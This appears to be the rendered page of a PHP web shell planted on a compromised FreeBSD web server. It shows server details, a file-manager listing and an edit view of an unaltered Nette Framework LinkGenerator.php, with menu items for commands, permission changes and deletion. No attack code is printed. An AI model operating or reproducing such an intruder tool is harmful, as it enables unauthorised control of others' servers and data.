TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
addlogo
home
vendor
nette
application
src
Application
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/addlogo/home/vendor/nette/application/src/Application/LinkGenerator.php
<?php /** * This file is part of the Nette Framework (http://nette.org) * Copyright (c) 2004 David Grudl (http://davidgrudl.com) */ namespace Nette\Application; use Nette; /** * Link generator. */ class LinkGenerator extends Nette\Object { /** @var IRouter */ private $router; /** @var Nette\Http\Url */ private $refUrl; /** @var IPresenterFactory|NULL */ private $presenterFactory; public function __construct(IRouter $router, Nette\Http\Url $refUrl, IPresenterFactory $presenterFactory = NULL) { $this->router = $router; $this->refUrl = $refUrl; $this->presenterFactory = $presenterFactory; } /** * Generates URL to presenter. * @param string destination in format "[[[module:]presenter:]action] [#fragment]" * @return string * @throws InvalidLinkException */ public function link($dest, array $params = array()) { if (!preg_match('~^([\w:]+):(\w*+)(#.*)?()\z~', $dest, $m)) { throw new UI\InvalidLinkException("Invalid link destination '$dest'."); } list(, $presenter, $action, $frag) = $m; try { $class = $this->presenterFactory ? $this->presenterFactory->getPresenterClass($presenter) : NULL; } catch (InvalidPresenterException $e) { throw new UI\InvalidLinkException($e->getMessage(), NULL, $e); } if (is_subclass_of($class, 'Nette\Application\UI\Presenter')) { if ($action === '') { $action = UI\Presenter::DEFAULT_ACTION; } if ($params && (method_exists($class, $method = $class::formatActionMethod($action)) || method_exists($class, $method = $class::formatRenderMethod($action))) ) { UI\Presenter::argsToParams($class, $method, $params); } } if ($action !== '') { $params[UI\Presenter::ACTION_KEY] = $action; } $url = $this->router->constructUrl(new Request($presenter, NULL, $params), $this->refUrl); if ($url === NULL) { unset($params[UI\Presenter::ACTION_KEY]); $params = urldecode(http_build_query($params, NULL, ', ')); throw new UI\InvalidLinkException("No route for $dest($params)"); } return $url . $frag; } }
Crotin
Name
Size
Permissions
Modified
User/Group
exceptions.php
1127
0644
2015-09-30 18:28:51
Unknown/Unknown
IResponse.php
396
0644
2015-09-30 18:28:51
Unknown/Unknown
IRouter.php
613
0644
2015-09-30 18:28:51
Unknown/Unknown
Application.php
5346
0644
2015-09-30 18:28:51
Unknown/Unknown
templates
-
0755
2015-09-30 18:29:15
Unknown/Unknown
IPresenterFactory.php
611
0644
2015-09-30 18:28:51
Unknown/Unknown
MicroPresenter.php-nette-autoupdate-backup.php
4347
0644
2015-09-30 18:28:51
Unknown/Unknown
IPresenter.php
312
0644
2015-09-30 18:28:51
Unknown/Unknown
MicroPresenter.php
4464
0644
2020-10-13 18:26:34
Unknown/Unknown
Request.php
4058
0644
2015-09-30 18:28:51
Unknown/Unknown
ErrorPresenter.php
924
0644
2015-09-30 18:28:51
Unknown/Unknown
Responses
-
0755
2015-09-30 18:29:16
Unknown/Unknown
PresenterFactory.php
3857
0644
2015-09-30 18:28:51
Unknown/Unknown
UI
-
0755
2015-09-30 18:29:15
Unknown/Unknown
Routers
-
0755
2015-09-30 18:29:14
Unknown/Unknown
LinkGenerator.php
2057
0644
2015-09-30 18:28:51
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin